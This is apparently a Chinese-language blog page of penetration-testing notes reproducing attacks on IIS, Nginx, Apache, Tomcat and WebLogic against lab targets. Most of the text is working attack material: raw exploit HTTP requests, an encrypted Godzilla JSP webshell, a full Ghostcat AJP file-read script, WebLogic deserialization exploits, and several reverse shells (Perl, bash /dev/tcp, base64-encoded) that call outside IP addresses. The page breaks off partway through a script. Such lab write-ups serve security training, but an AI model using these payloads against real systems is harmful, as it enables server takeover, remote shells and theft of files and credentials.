赞
踩
远程执行代码漏洞存在于 HTTP 协议堆栈 (HTTP.sys) 中,当 HTTP.sys 未正确分 析经特殊设计的 HTTP 请求时会导致此漏洞。 成功利用此漏洞的攻击者可以在系统帐户 的上下文中就可能远程读取IIS服务器的内存数据,或使服务器系统蓝屏崩溃
Windows 7、Windows Server 2008 R2、Windows 8、Windows Server 2012、Windows 8.1 和 Windows Server 2012 R2
判断漏洞是否存在,在kaili输入
curl -v 192.168.88.141 -H “192.168.88.141:81” -H “Range: bytes=0-18446744073709551615”
有发现返回”range is not satisfiable”就说明有漏洞了。
在kaili中输入以下代码即可
msfconsole
use auxiliary/dos/http/ms15_034_ulonglongadd
set rhosts xx.xx.xx.xx(ip)
set rport xx
run
攻击成功:windows7蓝屏,蓝屏后会自动重启
在DOS和早期的Windows系统中,文件名的长度被限制为8个字符加上一个点加上3个字符的扩展名,这种格式被称为8.3格式。在Windows下查看对应的短文件名,可以使用命令dir /x
例如
C:\Users\Administrator>dir /x
2024/07/11 14:49 <DIR> DOCUME~1 Documents
2024/07/22 12:17 <DIR> DOWNLO~1 Downloads
2024/06/16 03:50 <DIR> FAVORI~1 Favorites
2024/07/18 13:15 <DIR> IDEAPR~1 IdeaProjects
它允许远程攻击者在Web根目录下公开文件和文件夹名称(不应该可被访问)。攻击者可以找到通常无法从外部直接访问的重要文件,并获取有关应用程序基础结构的信息。
后台路径获取,数据库文件获取,其他敏感文件获取等
https://github.com/lijiejie/IIS_shortname_Scanner
输入命令:python iis_shortname_scan.py http://192.168.88.141:81/即可
该版本会将*.asp;.jpg的格式当成asp解析
该版本会将*.asp/目录下的所有文件当成asp解析
(CVE-2013-4547)
上传gif数据包,在文件名处加空格与添加执行代码即可
访问/uploadfiles/10.gif .php这个路径,将空格处的16进制改为20 00
发包,执行成功
nginx.conf
配置将以 .php
结尾的文件交给 FastCGI 处理,攻击者可以通过构造类似 http://ip/uploadfiles/test.png/.php
的 URL(其中 test.png
是包含 PHP 代码的图片文件)来利用此漏洞。FastCGI 在找不到 .php
文件时,php.ini
中的 cgi.fix_pathinfo=1
配置会将请求路径修复为上层路径,即 test.png
。如果 php-fpm.conf
中 security.limit_extensions
配置为空,FastCGI 将解析 .png
文件为 PHP 代码。为防止此类攻击,应限制 php-fpm
仅解析 .php
扩展名。上传正常图片,捉包,最后面放入执行代码
得到路径ploadfiles/4a47a0db6e60853dedfcfdf08a5ca249.png在后面加上/1.php进行访问即可
(cve-2017-15715)
1.php\x0A
将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。上传一个php木马,在更改后的名称加一个空格
转到16进制,将对应名称后面的20改为0a
连接时记得在后面添加上%0a即可
直接使用payloadcurl -v --data "echo;whoami" 'http://123.58.224.8:48581/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'
执行命令
通过邻角社区生成反弹shell的命令:
perl -e 'use Socket;="43.139.186.80";=5566;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in(,inet_aton()))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
监听5566端口nc -lvvp 5566
将其写入数据包的内容部分和url出插入/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
,提交方式改为post提交
数据包内容
POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
Host: 123.58.224.8:48581
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 214
perl -e 'use Socket;="43.139.186.80";=5566;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in(,inet_aton()))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
首页
直接捉包,在url中添加/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
成功查看
在url中添加/cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh
地址和成功执行id命令
POST /cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
Host: 123.58.224.8:18210
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 12
echo;ls /tmp
靶场
来到首页
直接捉包修改
PUT /1.jsp/ HTTP/1.1
Host: 123.58.224.8:38458
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 2617
<%! String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}
%>
用哥斯拉连接即可
Tomcat默认开启AJP服务(8009端口),存在一处文件包含缺陷。攻击者可以通过构造的恶意请求包来进行文件包含操作,从而读取或包含Tomcat上所有webapp目录下的任意文件,如:webapp配置文件或源代码等。
tomcat默认的conf/server.xml中配置了2个Connector,一个为8080的对外提供的HTTP协议端口,另外一个就是默认的8009 AJP协议端口,两个端口默认均监听在外网ip。
靶场
首先扫描靶场是否开放8009
直接使用脚本即可实行任意文件读取python poc.py 192.168.155.147 -f WEB-INF/web.xml
#!/usr/bin/env python # CNVD-2020-10487 Tomcat-Ajp lfi # by ydhcui import struct import io import base64 # Some references: # https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html def pack_string(s): if s is None: return struct.pack(">h", -1) l = len(s) return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0) def unpack(stream, fmt): size = struct.calcsize(fmt) buf = stream.read(size) return struct.unpack(fmt, buf) def unpack_string(stream): size, = unpack(stream, ">h") if size == -1: # null string return None res, = unpack(stream, "%ds" % size) stream.read(1) # \0 return res class NotFoundException(Exception): pass class AjpBodyRequest(object): # server == web server, container == servlet SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2) MAX_REQUEST_LENGTH = 8186 def __init__(self, data_stream, data_len, data_direction=None): self.data_stream = data_stream self.data_len = data_len self.data_direction = data_direction def serialize(self): data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH) if len(data) == 0: return struct.pack(">bbH", 0x12, 0x34, 0x00) else: res = struct.pack(">H", len(data)) res += data if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER: header = struct.pack(">bbH", 0x12, 0x34, len(res)) else: header = struct.pack(">bbH", 0x41, 0x42, len(res)) return header + res def send_and_receive(self, socket, stream): while True: data = self.serialize() socket.send(data) r = AjpResponse.receive(stream) while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS: r = AjpResponse.receive(stream) if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4: break class AjpForwardRequest(object): _, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range( 28) REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE} # server == web server, container == servlet SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2) COMMON_HEADERS = ["SC_REQ_ACCEPT", "SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION", "SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2", "SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT" ] ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"] def __init__(self, data_direction=None): self.prefix_code = 0x02 self.method = None self.protocol = None self.req_uri = None self.remote_addr = None self.remote_host = None self.server_name = None self.server_port = None self.is_ssl = None self.num_headers = None self.request_headers = None self.attributes = None self.data_direction = data_direction def pack_headers(self): self.num_headers = len(self.request_headers) res = "" res = struct.pack(">h", self.num_headers) for h_name in self.request_headers: if h_name.startswith("SC_REQ"): code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1 res += struct.pack("BB", 0xA0, code) else: res += pack_string(h_name) res += pack_string(self.request_headers[h_name]) return res def pack_attributes(self): res = b"" for attr in self.attributes: a_name = attr['name'] code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1 res += struct.pack("b", code) if a_name == "req_attribute": aa_name, a_value = attr['value'] res += pack_string(aa_name) res += pack_string(a_value) else: res += pack_string(attr['value']) res += struct.pack("B", 0xFF) return res def serialize(self): res = "" res = struct.pack("bb", self.prefix_code, self.method) res += pack_string(self.protocol) res += pack_string(self.req_uri) res += pack_string(self.remote_addr) res += pack_string(self.remote_host) res += pack_string(self.server_name) res += struct.pack(">h", self.server_port) res += struct.pack("?", self.is_ssl) res += self.pack_headers() res += self.pack_attributes() if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER: header = struct.pack(">bbh", 0x12, 0x34, len(res)) else: header = struct.pack(">bbh", 0x41, 0x42, len(res)) return header + res def parse(self, raw_packet): stream = io.StringIO(raw_packet) self.magic1, self.magic2, data_len = unpack(stream, "bbH") self.prefix_code, self.method = unpack(stream, "bb") self.protocol = unpack_string(stream) self.req_uri = unpack_string(stream) self.remote_addr = unpack_string(stream) self.remote_host = unpack_string(stream) self.server_name = unpack_string(stream) self.server_port = unpack(stream, ">h") self.is_ssl = unpack(stream, "?") self.num_headers, = unpack(stream, ">H") self.request_headers = {} for i in range(self.num_headers): code, = unpack(stream, ">H") if code > 0xA000: h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001] else: h_name = unpack(stream, "%ds" % code) stream.read(1) # \0 h_value = unpack_string(stream) self.request_headers[h_name] = h_value def send_and_receive(self, socket, stream, save_cookies=False): res = [] i = socket.sendall(self.serialize()) if self.method == AjpForwardRequest.POST: return res r = AjpResponse.receive(stream) assert r.prefix_code == AjpResponse.SEND_HEADERS res.append(r) if save_cookies and 'Set-Cookie' in r.response_headers: self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie'] # read body chunks and end response packets while True: r = AjpResponse.receive(stream) res.append(r) if r.prefix_code == AjpResponse.END_RESPONSE: break elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK: continue else: raise NotImplementedError break return res class AjpResponse(object): _, _, _, SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7) COMMON_SEND_HEADERS = [ "Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified", "Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate" ] def parse(self, stream): # read headers self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb") if self.prefix_code == AjpResponse.SEND_HEADERS: self.parse_send_headers(stream) elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK: self.parse_send_body_chunk(stream) elif self.prefix_code == AjpResponse.END_RESPONSE: self.parse_end_response(stream) elif self.prefix_code == AjpResponse.GET_BODY_CHUNK: self.parse_get_body_chunk(stream) else: raise NotImplementedError def parse_send_headers(self, stream): self.http_status_code, = unpack(stream, ">H") self.http_status_msg = unpack_string(stream) self.num_headers, = unpack(stream, ">H") self.response_headers = {} for i in range(self.num_headers): code, = unpack(stream, ">H") if code <= 0xA000: # custom header h_name, = unpack(stream, "%ds" % code) stream.read(1) # \0 h_value = unpack_string(stream) else: h_name = AjpResponse.COMMON_SEND_HEADERS[code - 0xA001] h_value = unpack_string(stream) self.response_headers[h_name] = h_value def parse_send_body_chunk(self, stream): self.data_length, = unpack(stream, ">H") self.data = stream.read(self.data_length + 1) def parse_end_response(self, stream): self.reuse, = unpack(stream, "b") def parse_get_body_chunk(self, stream): rlen, = unpack(stream, ">H") return rlen @staticmethod def receive(stream): r = AjpResponse() r.parse(stream) return r import socket def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET): fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER) fr.method = method fr.protocol = "HTTP/1.1" fr.req_uri = req_uri fr.remote_addr = target_host fr.remote_host = None fr.server_name = target_host fr.server_port = 80 fr.request_headers = { 'SC_REQ_ACCEPT': 'text/html', 'SC_REQ_CONNECTION': 'keep-alive', 'SC_REQ_CONTENT_LENGTH': '0', 'SC_REQ_HOST': target_host, 'SC_REQ_USER_AGENT': 'Mozilla', 'Accept-Encoding': 'gzip, deflate, sdch', 'Accept-Language': 'en-US,en;q=0.5', 'Upgrade-Insecure-Requests': '1', 'Cache-Control': 'max-age=0' } fr.is_ssl = False fr.attributes = [] return fr class Tomcat(object): def __init__(self, target_host, target_port): self.target_host = target_host self.target_port = target_port self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.socket.connect((target_host, target_port)) self.stream = self.socket.makefile("rb", buffering=0) def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]): self.req_uri = req_uri self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method)) print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri)) if user is not None and password is not None: self.forward_request.request_headers[ 'SC_REQ_AUTHORIZATION'] = f'Basic {base64.b64encode(f"{user}:{password}".encode()).decode()}' for h in headers: self.forward_request.request_headers[h] = headers[h] for a in attributes: self.forward_request.attributes.append(a) responses = self.forward_request.send_and_receive(self.socket, self.stream) if len(responses) == 0: return None, None snd_hdrs_res = responses[0] data_res = responses[1:-1] if len(data_res) == 0: print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers) return snd_hdrs_res, data_res ''' javax.servlet.include.request_uri javax.servlet.include.path_info javax.servlet.include.servlet_path ''' import argparse parser = argparse.ArgumentParser() parser.add_argument("target", type=str, help="Hostname or IP to attack") parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)") parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)") parser.add_argument('--rce', type=bool, default=False, help="read file(default) or exec command") args = parser.parse_args() t = Tomcat(args.target, args.port) _, data = t.perform_request(f'/hissec{".jsp" if args.rce else ""}', attributes=[ {'name': 'req_attribute', 'value': ['javax.servlet.include.request_uri', '/']}, {'name': 'req_attribute', 'value': ['javax.servlet.include.path_info', args.file]}, {'name': 'req_attribute', 'value': ['javax.servlet.include.servlet_path', '/']}, ]) print('----------------------------') print(''.join([d.data.decode('utf_8') for d in data]))
成功读取web.xml文件,默认读取webapps文件夹下ROOT的文件,而不是WEB-INF,所以需要加上路径WEB-INF/web.xml,如下
进入容器docker exec -it 07fa16440c00 /bin/bash
ROOT/WEN-INF
目录下的文件例如,现在往里面写入文件1.txt,利用exp来进行读取
假设有个木马可以上传到此,我们就可以利用这个exp来进行远程包含编译
上传此文件echo '<%= "Hello"%>' > cong.txt
可以看到cong.txt直接编译输出了
日志分析
靶场
vulfocus/weblogic-cve_2020_14883
123.58.224.8:17703
123.58.224.8:30853
: 5556:177037001:30853 重启靶场:5556:13402 7001:9187
直接访问一下urlhttp://123.58.224.8:30853/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")
在服务器部署这个xml文件,让目标服务器能够访问来反弹shell
test.xml
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/47.96.64.184/5566 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
攻击者监听nc -lvvp 5566
发送触发监听载荷
http://123.58.224.8:9187/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://43.139.186.80/test.xml")
靶场:
复现
靶场
访问控制台页面http://192.168.155.147:7002/console
可以进行弱口令爆破
直接访问http://your-ip:7001/hello/file.jsp?path=/etc/passwd
任意文件可成功读取/etc/passwd
文件
直接读取./security/SerializedSystemIni.dat
和./config/config.xml
这两个二进制文件,用bp捉包读取
SerializedSystemIni.dat
是一个二进制文件,所以一定要用burpsuite来读取,用浏览器直接下载可能引入一些干扰字符。在burp里选中读取到的那一串乱码,右键copy to file就可以保存成一个文件:
config.xml
是base_domain的全局配置文件,所以乱七八糟的内容比较多,找到其中的<node-manager-password-encrypted>
的值,即为加密后的管理员密码,不要找错了:
破解密码
一模一样的字符,反正我是解密不出来,感觉和java版本有关
登录一开始的控制台
上传war包。值得注意的是,我们平时tomcat用的war包不一定能够成功,你可以将你的webshell放到本项目的web/hello.war
这个压缩包中,再上传。上传成功后点下一步。
继续一直下一步,最后点完成。
应用目录在war包中WEB-INF/weblogic.xml里指定(因为本测试环境已经使用了/hello
这个目录,所以你要在本测试环境下部署shell,需要修改这个目录,比如修改成/test
)
无需登录直接访问uddiexplorer应用http://192.168.155.147:7001/uddiexplorer/
测试存在ssrf漏洞
http://192.168.155.147:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001
可访问的端口将会得到错误,一般是返回status code(如下图),如果访问的非http协议,则会返回did not have a valid SOAP content-type
http://192.168.155.147:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7009
修改为一个不存在的端口,将会返回could not connect over HTTP to server
靶场
访问7001,出现404页面即成功开启容器
经过工具检测存在无回显命令执行
直接捉包,将数据包改为以下反弹shell数据包即可
POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: 192.168.155.147:7001 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: text/xml Content-Length: 633 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.4.0" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>bash -i >& /dev/tcp/10.0.0.1/21 0>&1</string> </void> </array> <void method="start"/></void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
成功getshell
也可以直接上传war包拿到shell
POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: 192.168.155.147:7001 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: text/xml Content-Length: 638 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java><java version="1.4.0" class="java.beans.XMLDecoder"> <object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string> <void method="println"><string> <![CDATA[ <% out.print("test"); %> ]]> </string> </void> <void method="close"/> </object></java></java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
http://your-ip:7001/bea_wls_internal/test.jsp
经过工具检测存在无回显命令执行
攻击者服务器启动JRMP服务,目的是为了让weblogic服务器远程调用
java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 8888 Jdk7u21 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45Ni42NC4xODQvNTU2NiAwPiYx}|{base64,-d}|{bash,-i}"
#8888为开启JRMP服务的端口号
#Jdk7u21为机器的jdk版本 如果jdk版本>1.7,则直接填写Jdk7u21即可
生成目标服务器连接攻击者服务器的payload
java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient2 47.96.64.184:8888 | xxd -p | tr -d $'\n' && echo
更改exp.py
poc.py #!/usr/bin/env python3 #coding=utf-8 # # Created Time: Wed 19 Jul 2017 01:47:53 AM CST # # FileName: weblogic_poc.py # # Description: # # ChangeLog: thanks iswin for the template # -*- coding: utf-8 -*- import socket import time import re VUL=['CVE-2018-2628'] #remote ip:192.168.10.50 PAYLOAD=['aced0005737d00000001001d6a6176612e726d692e61637469766174696f6e2e416374697661746f72787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707735000a556e6963617374526566000c34372e39362e36342e313834000022b8000000006f39285400000000000000000000000000000078'] VER_SIG=['\\$Proxy[0-9]+'] def t3handshake(sock,server_addr): sock.connect(server_addr) sock.send(bytes.fromhex('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a')) time.sleep(1) sock.recv(1024) print('handshake successful') def buildT3RequestObject(sock,port): data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371' data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport)) data3 = '1a7727000d3234322e323134' data4 = '2e312e32353461863d1d0000000078' for d in [data1,data2,data3,data4]: sock.send(bytes.fromhex(d)) time.sleep(2) print('send request payload successful,recv length:%d'%(len(sock.recv(2048)))) def sendEvilObjData(sock,data): payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000' payload+=data payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff' payload = '%s%s'%('{:08x}'.format(len(payload)//2 + 4),payload) 